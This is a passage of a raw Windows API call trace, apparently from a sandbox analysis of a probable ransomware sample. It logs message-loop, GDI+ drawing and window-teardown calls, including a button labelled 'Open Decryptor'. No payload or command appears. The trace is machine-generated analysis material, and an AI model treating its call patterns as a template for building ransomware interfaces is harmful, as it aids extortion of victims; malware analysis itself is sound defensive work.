lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.400] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26901b3) returned 0x1 [0177.400] IsWindowUnicode (hWnd=0x30212) returned 1 [0177.400] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.401] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.401] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.401] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.401] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26901b3) returned 0x1 [0177.401] IsWindowUnicode (hWnd=0x30212) returned 1 [0177.401] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.401] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26901b3) returned 0x1 [0177.401] SetCursor (hCursor=0x10003) returned 0x10003 [0177.401] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.401] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.401] GetKeyState (nVirtKey=1) returned 1 [0177.401] GetKeyState (nVirtKey=2) returned 0 [0177.401] GetKeyState (nVirtKey=4) returned 0 [0177.401] GetKeyState (nVirtKey=5) returned 0 [0177.401] GetKeyState (nVirtKey=6) returned 0 [0177.401] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.402] IsWindowUnicode (hWnd=0x90016) returned 1 [0177.402] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.402] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.402] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.402] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.403] IsWindowUnicode (hWnd=0x90016) returned 1 [0177.403] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.403] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.403] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0177.403] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0177.403] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0177.403] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0177.403] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0177.403] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0177.406] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.406] IsWindowUnicode (hWnd=0x30212) returned 1 [0177.406] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.406] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.406] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.406] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x10105d6 [0177.406] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0177.406] CreateCompatibleDC (hdc=0x10105d6) returned 0x4b01062b [0177.406] SelectObject (hdc=0x4b01062b, h=0x8050721) returned 0x85000f [0177.406] GdipCreateFromHDC (hdc=0x4b01062b, graphics=0x19e8d8) returned 0x0 [0177.407] GdipTranslateWorldTransform (graphics=0x69202b0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0177.407] GdipSetClipRectI (graphics=0x69202b0, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0177.407] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0177.420] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x691ef28) returned 0x0 [0177.420] GdipIsMatrixIdentity (matrix=0x691ef28, result=0x19e938) returned 0x0 [0177.420] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0177.420] GdipGetMatrixElements (matrix=0x691ef28, matrixOut=0xf75bb0) returned 0x0 [0177.420] LocalFree (hMem=0xf75bb0) returned 0x0 [0177.420] GdipDeleteMatrix (matrix=0x691ef28) returned 0x0 [0177.420] GdipCreateRegion (region=0x19e920) returned 0x0 [0177.420] GdipGetClip (graphics=0x69202b0, region=0x6921b90) returned 0x0 [0177.420] GdipIsInfiniteRegion (region=0x6921b90, graphics=0x69202b0, result=0x19e92c) returned 0x0 [0177.420] GdipSaveGraphics (graphics=0x69202b0, state=0x19e958) returned 0x0 [0177.420] GdipRestoreGraphics (graphics=0x69202b0, state=0xfcc50dbd) returned 0x0 [0177.420] GdipDeleteRegion (region=0x6921b90) returned 0x0 [0177.420] GdipGetDC (graphics=0x69202b0, hdc=0x19e708) returned 0x0 [0177.420] GetCurrentObject (hdc=0x4b01062b, type=0x1) returned 0xb00017 [0177.421] GetCurrentObject (hdc=0x4b01062b, type=0x2) returned 0x900010 [0177.421] GetCurrentObject (hdc=0x4b01062b, type=0x7) returned 0x8050721 [0177.421] GetCurrentObject (hdc=0x4b01062b, type=0x6) returned 0x8a01c2 [0177.421] SaveDC (hdc=0x4b01062b) returned 1 [0177.421] GetNearestColor (hdc=0x4b01062b, color=0x323533) returned 0x323533 [0177.421] GetNearestColor (hdc=0x4b01062b, color=0x111111) returned 0x111111 [0177.421] GetNearestColor (hdc=0x4b01062b, color=0x0) returned 0x0 [0177.421] GetNearestColor (hdc=0x4b01062b, color=0x868c88) returned 0x868c88 [0177.421] GetNearestColor (hdc=0x4b01062b, color=0x6994f5) returned 0x6994f5 [0177.421] GetNearestColor (hdc=0x4b01062b, color=0x969c98) returned 0x969c98 [0177.421] GetNearestColor (hdc=0x4b01062b, color=0x868c88) returned 0x868c88 [0177.421] GetNearestColor (hdc=0x4b01062b, color=0x3c3f3d) returned 0x3c3f3d [0177.421] GetNearestColor (hdc=0x4b01062b, color=0x6994f5) returned 0x6994f5 [0177.421] RestoreDC (hdc=0x4b01062b, nSavedDC=-1) returned 1 [0177.421] GdipReleaseDC (graphics=0x69202b0, hdc=0x4b01062b) returned 0x0 [0177.422] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0xd0a0739 [0177.422] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e5c4, format=0x102415, lpdtp=0x2f0b1b0 | out: lpchText="Open Decryptor", lprc=0x19e5c4) returned 60 [0177.422] GdipCreateRegion (region=0x19e64c) returned 0x0 [0177.422] GdipGetClip (graphics=0x69202b0, region=0x6921b90) returned 0x0 [0177.422] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0177.422] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x6915f08) returned 0x0 [0177.422] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e664) returned 0x0 [0177.422] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0177.422] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0177.424] LocalFree (hMem=0xf75be8) returned 0x0 [0177.424] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0177.424] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0177.425] LocalFree (hMem=0xf75be8) returned 0x0 [0177.425] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0177.425] GdipIsInfiniteRegion (region=0x6921b90, graphics=0x69202b0, result=0x19e68c) returned 0x0 [0177.425] GdipIsInfiniteRegion (region=0x6921b90, graphics=0x69202b0, result=0x19e67c) returned 0x0 [0177.425] GdipGetRegionHRgn (region=0x6921b90, graphics=0x69202b0, hRgn=0x19e67c) returned 0x0 [0177.425] GdipDeleteRegion (region=0x6921b90) returned 0x0 [0177.425] GdipGetDC (graphics=0x69202b0, hdc=0x19e694) returned 0x0 [0177.425] GetCurrentObject (hdc=0x4b01062b, type=0x1) returned 0xb00017 [0177.425] GetCurrentObject (hdc=0x4b01062b, type=0x2) returned 0x900010 [0177.425] GetCurrentObject (hdc=0x4b01062b, type=0x7) returned 0x8050721 [0177.425] GetCurrentObject (hdc=0x4b01062b, type=0x6) returned 0x8a01c2 [0177.425] SaveDC (hdc=0x4b01062b) returned 1 [0177.425] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3d0406fe [0177.425] GetClipRgn (hdc=0x4b01062b, hrgn=0x3d0406fe) returned 0 [0177.425] SelectClipRgn (hdc=0x4b01062b, hrgn=0x7e04070e) returned 2 [0177.425] DeleteObject (ho=0x3d0406fe) returned 1 [0177.425] DeleteObject (ho=0x7e04070e) returned 1 [0177.425] OffsetViewportOrgEx (in: hdc=0x4b01062b, x=0, y=0, lppt=0x2f0b3a0 | out: lppt=0x2f0b3a0) returned 1 [0177.425] GetNearestColor (hdc=0x4b01062b, color=0x3c3f3d) returned 0x3c3f3d [0177.426] CreateSolidBrush (color=0x3c3f3d) returned 0x8210073a [0177.426] FillRect (hDC=0x4b01062b, lprc=0x19e698, hbr=0x8210073a) returned 1 [0177.426] DeleteObject (ho=0x8210073a) returned 1 [0177.426] RestoreDC (hdc=0x4b01062b, nSavedDC=-1) returned 1 [0177.426] GdipReleaseDC (graphics=0x69202b0, hdc=0x4b01062b) returned 0x0 [0177.426] GdipGetTextRenderingHint (graphics=0x69202b0, mode=0x19e710) returned 0x0 [0177.426] GdipGetDC (graphics=0x69202b0, hdc=0x19e6fc) returned 0x0 [0177.426] GetCurrentObject (hdc=0x4b01062b, type=0x1) returned 0xb00017 [0177.426] GetCurrentObject (hdc=0x4b01062b, type=0x2) returned 0x900010 [0177.426] GetCurrentObject (hdc=0x4b01062b, type=0x7) returned 0x8050721 [0177.426] GetCurrentObject (hdc=0x4b01062b, type=0x6) returned 0x8a01c2 [0177.426] SaveDC (hdc=0x4b01062b) returned 1 [0177.426] GetTextAlign (hdc=0x4b01062b) returned 0x0 [0177.426] GetTextColor (hdc=0x4b01062b) returned 0x0 [0177.426] SetTextColor (hdc=0x4b01062b, color=0x6994f5) returned 0x0 [0177.426] GetCurrentObject (hdc=0x4b01062b, type=0x6) returned 0x8a01c2 [0177.426] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0177.427] SelectObject (hdc=0x4b01062b, h=0x110a0722) returned 0x8a01c2 [0177.427] GetBkMode (hdc=0x4b01062b) returned 2 [0177.427] SetBkMode (hdc=0x4b01062b, mode=1) returned 2 [0177.427] DrawTextExW (in: hdc=0x4b01062b, lpchText="Open Decryptor", cchText=14, lprc=0x19e52c, format=0x102415, lpdtp=0x2f0b65c | out: lpchText="Open Decryptor", lprc=0x19e52c) returned 60 [0177.427] DrawTextExW (in: hdc=0x4b01062b, lpchText="Open Decryptor", cchText=14, lprc=0x19e690, format=0x102015, lpdtp=0x2f0b65c | out: lpchText="Open Decryptor", lprc=0x19e690) returned 60 [0177.428] RestoreDC (hdc=0x4b01062b, nSavedDC=-1) returned 1 [0177.428] GdipReleaseDC (graphics=0x69202b0, hdc=0x4b01062b) returned 0x0 [0177.428] GetFocus () returned 0x30212 [0177.428] GetFocus () returned 0x30212 [0177.428] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0177.428] GdipDrawRectangleI (graphics=0x69202b0, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0177.428] GdipDeletePen (pen=0x6915e78) returned 0x0 [0177.428] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0177.428] GdipDrawRectangleI (graphics=0x69202b0, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0177.428] GdipDeletePen (pen=0x6915e78) returned 0x0 [0177.428] GdipGetDC (graphics=0x69202b0, hdc=0x19e918) returned 0x0 [0177.428] BitBlt (hdc=0x10105d6, x=0, y=0, cx=178, cy=111, hdcSrc=0x4b01062b, x1=0, y1=0, rop=0xcc0020) returned 1 [0177.428] GdipReleaseDC (graphics=0x69202b0, hdc=0x4b01062b) returned 0x0 [0177.428] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0177.429] SelectObject (hdc=0x4b01062b, h=0x85000f) returned 0x8050721 [0177.429] DeleteDC (hdc=0x4b01062b) returned 1 [0177.429] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0177.429] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0177.429] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.429] IsWindowUnicode (hWnd=0x50078) returned 1 [0177.429] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.429] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.429] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.432] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.432] IsWindowUnicode (hWnd=0x50078) returned 1 [0177.433] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.433] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.433] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.433] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.433] IsWindowUnicode (hWnd=0x50078) returned 1 [0177.433] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.433] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.433] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.433] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.434] IsWindowUnicode (hWnd=0x50078) returned 1 [0177.434] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.434] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.434] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.434] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.434] GetMessageA (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.434] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.434] DispatchMessageA (lpMsg=0x19ee78) returned 0x7f3a [0177.435] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.435] GetMessageA (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.435] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.435] DispatchMessageA (lpMsg=0x19ee78) returned 0x0 [0177.436] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0177.436] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0177.436] WaitMessage () returned 1 [0177.510] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.510] IsWindowUnicode (hWnd=0xa0052) returned 1 [0177.510] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0177.510] TranslateMessage (lpMsg=0x19ee78) returned 0 [0177.510] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0177.510] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0177.510] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0177.511] WaitMessage () returned 1 [0177.846] PeekMessageW (lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0) [0177.846] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x3b, wParam=0x50e, lParam=0x0) [0177.849] CoTaskMemAlloc (cb=0xb1) returned 0xf58d98 [0177.853] CoTaskMemAlloc (cb=0xe) returned 0xf6ca70 [0177.856] GetWindowThreadProcessId (in: hWnd=0x50074, lpdwProcessId=0x19e4d4 | out: lpdwProcessId=0x19e4d4) returned 0x390 [0177.856] GetCurrentThreadId () returned 0x390 [0177.856] IsWindow (hWnd=0x50074) returned 1 [0177.856] KillTimer (hWnd=0x50074, uIDEvent=0x2) returned 1 [0177.856] DestroyWindow (hWnd=0x50074) returned 1 [0177.856] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50074, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0177.857] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50074, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.857] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50074, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0177.858] CoTaskMemAlloc (cb=0x12) returned 0xf77288 [0177.859] DestroyCursor (hCursor=0xd01bf) returned 1 [0177.868] GetWindowLongW (hWnd=0x1023e, nIndex=-20) returned 65672 [0177.868] DestroyWindow (hWnd=0x1023e) returned 1 [0177.869] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0177.869] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x46, wParam=0x0, lParam=0x19e3b4) returned 0x0 [0177.870] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e0e0 | out: lpwndpl=0x19e0e0) returned 1 [0177.870] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x47, wParam=0x0, lParam=0x19e3b4) returned 0x0 [0177.870] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e090 | out: lpRect=0x19e090) returned 1 [0177.870] GetWindowRect (in: hWnd=0x1023e, lpRect=0x19e090 | out: lpRect=0x19e090) returned 1 [0177.871] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0177.871] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0177.871] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0177.874] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.987] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0177.988] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.988] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.988] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.988] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.989] SendMessageW (hWnd=0x10250, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.989] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.989] SendMessageW (hWnd=0x10250, Msg=0xb0, wParam=0x2ede47c, lParam=0x19e088) returned 0x0 [0177.989] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xb0, wParam=0x2ede47c, lParam=0x19e088) returned 0x0 [0177.989] DeleteObject (ho=0x33100628) returned 1 [0177.989] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.989] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.989] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.989] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.989] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.989] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.989] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.990] SendMessageW (hWnd=0x1025e, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.990] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.990] SendMessageW (hWnd=0x1025e, Msg=0xb0, wParam=0x2eea0fc, lParam=0x19e088) returned 0x0 [0177.990] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0xb0, wParam=0x2eea0fc, lParam=0x19e088) returned 0x0 [0177.990] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.990] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.990] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.990] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.990] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.990] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.990] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.991] SendMessageW (hWnd=0x1026c, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.991] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.991] SendMessageW (hWnd=0x1026c, Msg=0xb0, wParam=0x2ef0bac, lParam=0x19e088) returned 0x0 [0177.991] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0xb0, wParam=0x2ef0bac, lParam=0x19e088) returned 0x0 [0177.991] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.991] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.991] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.991] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.991] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.991] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.991] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.991] SendMessageW (hWnd=0x1027a, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.992] SendMessageW (hWnd=0x1027a, Msg=0xb0, wParam=0x2ef7778, lParam=0x19e088) returned 0x0 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0xb0, wParam=0x2ef7778, lParam=0x19e088) returned 0x0 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.992] SendMessageW (hWnd=0x50210, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.992] SendMessageW (hWnd=0x50210, Msg=0xb0, wParam=0x2ebf0dc, lParam=0x19e088) returned 0x0 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xb0, wParam=0x2ebf0dc, lParam=0x19e088) returned 0x0 [0177.992] DeleteObject (ho=0x4110019b) returned 1 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.992] SendMessageW (hWnd=0x601fe, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.992] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.993] SendMessageW (hWnd=0x601fe, Msg=0xb0, wParam=0x2ebf3f4, lParam=0x19e088) returned 0x0 [0177.993] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0xb0, wParam=0x2ebf3f4, lParam=0x19e088) returned 0x0 [0177.993] DeleteObject (ho=0x37100714) returned 1 [0177.993] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.993] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.993] SendMessageW (hWnd=0x90016, Msg=0xb8, wParam=0x0, lParam=0x0) returned 